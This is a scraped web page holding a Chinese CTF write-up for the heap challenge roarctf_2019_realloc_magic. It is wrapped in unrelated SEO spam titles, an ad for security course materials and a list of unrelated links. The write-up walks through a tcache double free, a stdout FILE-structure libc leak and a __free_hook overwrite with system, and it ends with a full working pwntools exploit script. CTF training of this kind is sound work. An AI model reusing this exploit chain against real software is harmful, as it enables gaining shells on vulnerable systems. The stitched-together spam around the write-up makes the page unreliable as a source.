当前位置: 首页 > news >正文

湖南省交通建设质监局网站设计产品网站推荐

湖南省交通建设质监局网站,设计产品网站推荐,偃师建网站那家公司好,网站建设夬金手指花总本题主要介绍realloc函数#xff0c;平时我们使用realloc最多便是在打malloc_hook–onegadget的时候#xff0c;使用realloc_hook调整onegadget的栈帧#xff0c;从而getshell。 在realloc函数中#xff0c;也能像malloc一样创建堆#xff0c;并且比malloc麻烦一些平时我们使用realloc最多便是在打malloc_hook–onegadget的时候使用realloc_hook调整onegadget的栈帧从而getshell。 在realloc函数中也能像malloc一样创建堆并且比malloc麻烦一些但是倒是挺有趣的 realloc realloc(realloc_ptr, size)有两个参数并且在特定参数有特定效果 size 0 这个时候等同于free。也就是free(realloc_ptr)并且返回空指针。即没有uafrealloc_ptr 0 size 0 这个时候等同于malloc,即malloc(size)malloc_usable_size(realloc_ptr) size 这个时候等同于editmalloc_usable_size(realloc_ptr) szie 这个时候才是malloc一块更大的内存将原来的内容复制过去再将原来的chunk给free掉 stdout泄露 这里我只给出结论具体可以参考 设置_flags _IO_NO_WRITES 0 设置_flags _IO_CURRENTLY_PUTTING 1 设置_flags _IO_IS_APPENDING 1 _flags 0xFBAD1800设置_IO_write_base指向想要泄露的位置_IO_write_ptr指向泄露结束的地址(不需要一定设置指向结尾程序中自带地址足够泄露libc) 具备以上基础我们可以来实战一题了 roarctf_2019_realloc_magic Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled64位保护全开 前情提要 本题部署在2.27-3ubuntu1_amd64/libc-2.27.so 建议关闭linux地址空间随机化(ASLR)方便调试。 在root用户下执行 echo 0 /proc/sys/kernel/randomize_va_spacerealloc int re() {unsigned int size; // [rspCh] [rbp-4h]puts(Size?);size get_int();realloc_ptr realloc(realloc_ptr, size);puts(Content?);read(0, realloc_ptr, size);return puts(Done); }free int fr() {free(realloc_ptr);return puts(Done); }存在uaf可以利用起来 这里有个清零指针的函数 int ba() {if ( lock )exit(-1);lock 1;realloc_ptr 0LL;return puts(Done); }程序特别简单但是利用比较精妙 在realloc的时候因为每次都是使用realloc_ptr并且没有变化导致每次申请的chunk都会写在在realloc_ptr指向的地址再次申请比上一次的size大就可以往后溢出写 帮助网安学习全套资料S信免费领取 ① 网安学习成长路径思维导图 ② 60网安经典常用工具包 ③ 100SRC分析报告 ④ 150网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集含答案 ⑧ APP客户端安全检测指南安卓IOS 思路 通过realloc和uaf构造好tcache的布局 然后把_IO_2_1_stdout 链到bin里面通过stdout泄露libc得到free_hook 最后正常打free_hookfree_hook--system--/bin/sh 首先利用malloc(size)和free(size)在tcache上面先准备好 malloc(size)可以由realloc(realloc_ptr,size)得到本文上面的第二个效果 free(size)可以由realloc(realloc_ptr,size0)得到本文上面的第一个效果) realloc(0x20,bb) #这个是为了后面溢出修改main_arena为_IO_2_1_stdout_准备 realloc(0,) realloc(0x90,bb) realloc(0,) realloc(0x10,bb) realloc(0,)realloc(0x90,bb) for i in range(7):dele() realloc(0,)这一步非常重要首先将0x90的地址申请回来赋值给realloc_ptr在通过uaftcache double free free掉7次填满tcache bin然后再free一次使0x90进入到unsortedbin把main_arena链进来 为什么第八次free需要使用realloc去free呢 因为首先是因为用来链上unsortedbin其次用来清空掉realloc_ptr指针不影响后面的chunk使用 看一下此时的堆空间 realloc(0x20,baaa) plp64(0)*5p64(0x81)b\x60\xc7 #realloc(0x50,baaa) #这里的注释是用来方便看你申请的堆放哪里去了可以自己看一下 realloc(0x50,pl)这里看上面图片的堆布局如果你用了注释看了一下gdb就知道为什么这样摆了 后面申请的0x50是因为能刚好申请到更改unsortedbin的范围大一点也没关系 首先改chunkB也就是我们放入unsortedbin的chunk改掉size值可以结合realloc(0)多一次malloc 后面的\x60\xc7看图就知道了 _IO_2_1_stdout_跟main_arena相差了4位并且低三位是固定的只需要爆破一位 因为我关闭了ASLR所以直接\x60\xc7打本地不用爆破一次通(x) 直接看成果图 可以发现成功链上了_IO_2_1_stdout_接下来我们只需要把他申请回来就行 realloc(0,) realloc(0x90,baa) realloc(0,) plp64(0xfbad1887)p64(0)*3b\x58 realloc(0x90,pl)这里就涉及到_IO_2_1_stdout_泄露libc了下图都还没改的 0xfbad1887照着原来的就行低两位高地址就是取我们设定好的0xFBAD1800 这里前面的_IO_read_xx用p64(0)填充掉然后利用_IO_write_base设置指向想要泄露位置比如说改成\x58 也就是 把_IO_file_jumps泄露出来就可以计算libc别的位置都可以只需要是能算libc的即可 然后算出free_hooksystem的libc地址 接下来首先先用给的清理realloc_ptr的函数将realloc_ptr置0 sla(menu,666)realloc(0x30,ba) realloc(0,) realloc(0xa0,ba) realloc(0,) realloc(0x10,bb)#2 realloc(0,) realloc(0xa0,bb) for i in range(7):dele() realloc(0,) realloc(0x30,ba)plp64(0)*7p64(0x71)p64(free-8) realloc(0x70,pl) realloc(0,) realloc(0xa0,ba) realloc(0,) realloc(0xa0,b/bin/sh\x00p64(sys)) dele()free-8是为了放好/bin/sh然后顺便下一个将free_hook改成system 完整exp: from pwn import*def debug(cmd 0):if cmd 0:gdb.attach(r)else:gdb.attach(r,cmd)pause()menub def realloc(size,con):r.sendlineafter(menu, b1)r.sendlineafter(bize,str(size))r.sendafter(bent,con) def dele():r.sendlineafter(menu,b2)libcELF(libc-2.27.so)context(oslinux, archamd64,log_leveldebug)def pwn():realloc(0x20,bb)realloc(0,)realloc(0x90,bb)realloc(0,)realloc(0x10,bb)realloc(0,)realloc(0x90,bb)for i in range(7):dele()realloc(0,)realloc(0x20,baaa)payloadp64(0)*5p64(0x81)b\x60\xc7#realloc(0x50,baaa)realloc(0x50,payload)realloc(0,)realloc(0x90,baa)realloc(0,)payloadp64(0xfbad1886)p64(0)*3b\x58realloc(0x90,payload)#debug()leaku64(r.recvuntil(b\x7f)[-6:].ljust(8, b\x00))-libc.sym[_IO_file_jumps]print(hex(leak))freeleaklibc.sym[__free_hook]systemleaklibc.sym[system]r.sendlineafter(menu,666)realloc(0x30,ba)realloc(0,)realloc(0xa0,ba)realloc(0,)realloc(0x10,bb)#2realloc(0,)realloc(0xa0,bb)for i in range(7):dele()realloc(0,)realloc(0x30,ba)payloadp64(0)*7p64(0x71)p64(free-8)realloc(0x70,payload)realloc(0,)realloc(0xa0,ba)realloc(0,)realloc(0xa0,b/bin/sh\x00p64(system))dele()r.interactive()for i in range(1):try:rprocess(./pwn)pwn()breakexcept:r.close()
http://www.w-s-a.com/news/202720/

相关文章:

  • 网站开发分工甜妹妹福利wordpress
  • 网站中英文要怎么做网站建设的策划文案
  • 合肥推广外包公司佛山seo
  • 成都网站品牌设计策划课堂网站开发
  • 做直播网站赚钱公司网站空间怎么续费
  • 企业网站制作公司有哪些太原网站建设 thinkphp3.2
  • 云集网站哪个公司做的百度竞价排名怎么做
  • 做网站公司赚钱吗网站建设英语翻译
  • 网络公司除了做网站产品设计作品
  • dede网站模板替换湘潭建设路街道网站
  • 东莞网站优化效果如何网络设计工作
  • 网站备案系统验证码出错的解决方案任丘建设银行网站
  • 个人博客建站wordpress叮当app制作
  • 网站式的公司记录怎么做二手书网站策划书
  • 营销型网站的建设重点是什么帝国程序和WordPress
  • 正能量网站推荐不需要下载巴中网站建设开发公司
  • 学生模拟网站开发西安seo平台
  • 免费的app推广平台免费网站seo
  • 建一个个人网站网站建设中小企业广西
  • 优惠券网站做淘客违规吗个人建网站运营.
  • 旅游网站制作建设华大基因 网站建设
  • sem推广竞价托管南京seo网站优化
  • 网站优化网站建站教程网站建设 成都
  • 网站 配色表html代码在线
  • 城乡和建设部建造师网站众筹平台网站建设
  • 外贸网站模板免费下载微网站制作软件
  • 一个新的网站怎么做宣传技术先进的网站建
  • 福建网站建设有限公司需求网站
  • 生物科技企业网站做的比较好的企业培训网站模板
  • 南京 高端网站建设网站备案密码怎么找回